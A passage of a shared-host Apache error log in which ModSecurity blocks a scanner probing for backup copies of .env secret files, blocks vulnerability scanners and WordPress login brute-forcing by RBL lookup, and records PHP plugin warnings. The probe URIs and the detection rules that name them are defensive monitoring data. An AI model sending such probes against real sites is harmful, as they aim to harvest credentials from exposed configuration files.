to access backup file (disable this rule if you require access to files that nclude .bak)"] [severity "CRITICAL"] [hostname "www.dkl-hardware.com"] [uri "/.env.production.bak"] [unique_id "ai30eLV-dFiaX9AtWiQjwQAAASc"] [Sat Jun 13 18:23:20.404533 2026] [security2:error] [pid 715691:tid 715895] [client 142.248.80.191:51384] ModSecurity: Access denied with code 406 (phase 2). Pattern match "[a-z0-9]~$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1257"] [id "390581"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data Leakage - attempt to access backup file (disable this rule if you require access to files that end with a tilde)"] [severity "CRITICAL"] [hostname "www.dkl-hardware.com"] [uri "/.env.local~"] [unique_id "ai30eLV-dFiaX9AtWiQjvwAAAUA"] [Sat Jun 13 18:23:20.404573 2026] [security2:error] [pid 715691:tid 715879] [client 142.248.80.191:51334] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.old$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1263"] [id "390583"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .old)"] [severity "CRITICAL"] [hostname "www.dkl-hardware.com"] [uri "/.env.production.old"] [unique_id "ai30eLV-dFiaX9AtWiQjwgAAATA"] [Sat Jun 13 18:23:20.404577 2026] [security2:error] [pid 715691:tid 715950] [client 142.248.80.191:51370] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.backup$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1279"] [id "390588"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .backup)"] [severity "CRITICAL"] [hostname "www.dkl-hardware.com"] [uri "/.env.local.backup"] [unique_id "ai30eLV-dFiaX9AtWiQjvgAAAXc"] [Sat Jun 13 18:23:20.404978 2026] [security2:error] [pid 715691:tid 715929] [client 142.248.80.191:51424] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.backup$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1279"] [id "390588"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .backup)"] [severity "CRITICAL"] [hostname "www.dkl-hardware.com"] [uri "/.env.production.backup"] [unique_id "ai30eLV-dFiaX9AtWiQjwwAAAWI"] [Sat Jun 13 18:23:20.404978 2026] [security2:error] [pid 715691:tid 715883] [client 142.248.80.191:51404] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.copy$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1269"] [id "390586"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .copy)"] [severity "CRITICAL"] [hostname "www.dkl-hardware.com"] [uri "/.env.local.copy"] [unique_id "ai30eLV-dFiaX9AtWiQjwAAAATQ"] [Sat Jun 13 18:23:20.600299 2026] [security2:error] [pid 715691:tid 715765] [remote 17.241.219.43:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 43.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30eLV-dFiaX9AtWiQjyQABaDY"] [Sat Jun 13 18:23:20.732848 2026] [security2:error] [pid 715691:tid 715837] [remote 17.246.19.191:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 191.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30eLV-dFiaX9AtWiQjzAABgX4"] [Sat Jun 13 18:23:20.900929 2026] [access_compat:error] [pid 646876:tid 646998] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQ3L3N1YnN5c3RlbS9tb3VzZTEvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:23:20.901378 2026] [access_compat:error] [pid 646876:tid 646998] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQ3L3N1YnN5c3RlbS9tb3VzZTEvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:23:21.025501 2026] [security2:error] [pid 646876:tid 646973] [remote 17.22.253.58:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 58.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30edyTkdrNlD40tSHSMgAAZ14"] [Sat Jun 13 18:23:21.077513 2026] [access_compat:error] [pid 715691:tid 715753] [remote 57.141.14.16:30368] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:21.077812 2026] [access_compat:error] [pid 715691:tid 715753] [remote 57.141.14.16:30368] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:21.095290 2026] [security2:error] [pid 715691:tid 715820] [remote 104.28.162.111:64226] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "marlm.com"] [uri "/"] [unique_id "ai30ebV-dFiaX9AtWiQj1AABeG0"] [Sat Jun 13 18:23:21.096035 2026] [security2:error] [pid 715691:tid 715746] [remote 17.241.75.146:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 146.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30ebV-dFiaX9AtWiQj1QABVSQ"] [Sat Jun 13 18:23:21.253861 2026] [access_compat:error] [pid 715691:tid 715795] [remote 57.141.14.22:44134] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:21.254126 2026] [access_compat:error] [pid 715691:tid 715795] [remote 57.141.14.22:44134] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:21.421976 2026] [access_compat:error] [pid 646876:tid 646971] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQwL2RldmljZS9kcml2ZXIvTE5YUFdSQk46MDA= [Sat Jun 13 18:23:21.422400 2026] [access_compat:error] [pid 646876:tid 646971] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQwL2RldmljZS9kcml2ZXIvTE5YUFdSQk46MDA= [Sat Jun 13 18:23:21.544784 2026] [security2:error] [pid 715691:tid 715720] [remote 17.241.227.122:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 122.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30ebV-dFiaX9AtWiQj5AABNQo"] [Sat Jun 13 18:23:21.680319 2026] [access_compat:error] [pid 646876:tid 646896] [remote 57.141.14.78:34038] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:21.680593 2026] [access_compat:error] [pid 646876:tid 646896] [remote 57.141.14.78:34038] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:21.716391 2026] [security2:error] [pid 646876:tid 646899] [remote 17.246.23.175:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 175.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30edyTkdrNlD40tSHSQAAAFRQ"] [Sat Jun 13 18:23:21.723487 2026] [access_compat:error] [pid 646876:tid 646908] [remote 57.141.14.64:38696] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:21.723788 2026] [access_compat:error] [pid 646876:tid 646908] [remote 57.141.14.64:38696] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:21.933753 2026] [security2:error] [pid 715691:tid 715792] [remote 17.246.19.87:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 87.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30ebV-dFiaX9AtWiQj8QABV1E"] [Sat Jun 13 18:23:21.971129 2026] [access_compat:error] [pid 646876:tid 646906] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vbW91c2UxL3Bvd2Vy [Sat Jun 13 18:23:21.971617 2026] [access_compat:error] [pid 646876:tid 646906] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vbW91c2UxL3Bvd2Vy [Sat Jun 13 18:23:21.973246 2026] [access_compat:error] [pid 646876:tid 646879] [remote 57.141.14.112:21730] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:21.973691 2026] [access_compat:error] [pid 646876:tid 646879] [remote 57.141.14.112:21730] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:22.143625 2026] [access_compat:error] [pid 715691:tid 715800] [remote 57.141.14.51:38332] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:22.143956 2026] [access_compat:error] [pid 715691:tid 715800] [remote 57.141.14.51:38332] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:22.242760 2026] [security2:error] [pid 715691:tid 715877] [client 210.217.96.217:45386] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 217.96.217.210.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai30erV-dFiaX9AtWiQj-QAAAS4"] [Sat Jun 13 18:23:22.242919 2026] [security2:error] [pid 715691:tid 715877] [client 210.217.96.217:45386] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai30erV-dFiaX9AtWiQj-QAAAS4"] [Sat Jun 13 18:23:22.290503 2026] [security2:error] [pid 715691:tid 715735] [remote 17.241.75.221:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 221.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30erV-dFiaX9AtWiQj-gABDBk"] [Sat Jun 13 18:23:22.468537 2026] [security2:error] [pid 715691:tid 715914] [client 172.56.168.133:38385] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai30erV-dFiaX9AtWiQkAAAAAVM"] [Sat Jun 13 18:23:22.468679 2026] [security2:error] [pid 715691:tid 715914] [client 172.56.168.133:38385] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai30erV-dFiaX9AtWiQkAAAAAVM"] [Sat Jun 13 18:23:22.482196 2026] [access_compat:error] [pid 646876:tid 646929] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQ2L3N1YnN5c3RlbS9pbnB1dDIvaW5wdXQyOjpudW1sb2Nr [Sat Jun 13 18:23:22.482624 2026] [access_compat:error] [pid 646876:tid 646929] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQ2L3N1YnN5c3RlbS9pbnB1dDIvaW5wdXQyOjpudW1sb2Nr [Sat Jun 13 18:23:22.594027 2026] [security2:error] [pid 715691:tid 715725] [remote 17.241.227.136:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 136.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30erV-dFiaX9AtWiQkAQABYQ8"] [Sat Jun 13 18:23:22.642514 2026] [security2:error] [pid 715691:tid 715763] [remote 17.246.15.169:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 169.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30erV-dFiaX9AtWiQkAwABGzQ"] [Sat Jun 13 18:23:23.014007 2026] [access_compat:error] [pid 646876:tid 646886] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vbW91c2UwL3Bvd2Vy [Sat Jun 13 18:23:23.014464 2026] [access_compat:error] [pid 646876:tid 646886] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vbW91c2UwL3Bvd2Vy [Sat Jun 13 18:23:23.100615 2026] [access_compat:error] [pid 715691:tid 715783] [remote 57.141.14.113:46076] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:23.100939 2026] [access_compat:error] [pid 715691:tid 715783] [remote 57.141.14.113:46076] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:23.274969 2026] [security2:error] [pid 646876:tid 646922] [remote 217.160.212.27:50812] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 27.212.160.217.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "lotusfengshui.co.uk"] [uri "/wp-login.php"] [unique_id "ai30e9yTkdrNlD40tSHSWgAAHys"] [Sat Jun 13 18:23:23.286012 2026] [access_compat:error] [pid 715691:tid 715804] [remote 57.141.14.18:26850] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:23.286452 2026] [access_compat:error] [pid 715691:tid 715804] [remote 57.141.14.18:26850] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:23.295428 2026] [lsapi:warn] [pid 715691:tid 715739] [remote 40.77.167.43:23444] [host www.craigbrownphd.com] Backend log: PHP Warning: Trying to access array offset on value of type bool in /home1/craigbro/public_html/wp-content/plugins/elementor/includes/base/widget-base.php on line 224\n [Sat Jun 13 18:23:23.295478 2026] [lsapi:warn] [pid 715691:tid 715739] [remote 40.77.167.43:23444] [host www.craigbrownphd.com] Backend log: PHP Warning: Undefined array key -1 in /home1/craigbro/public_html/wp-content/plugins/elementor/includes/base/controls-stack.php on line 696\n [Sat Jun 13 18:23:23.404748 2026] [security2:error] [pid 715691:tid 715754] [remote 17.22.237.223:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 223.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30e7V-dFiaX9AtWiQkGAABPyw"] [Sat Jun 13 18:23:23.477303 2026] [access_compat:error] [pid 715691:tid 715715] [remote 57.141.14.105:49624] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:23.477734 2026] [access_compat:error] [pid 715691:tid 715715] [remote 57.141.14.105:49624] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:23.526634 2026] [access_compat:error] [pid 646876:tid 646983] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: 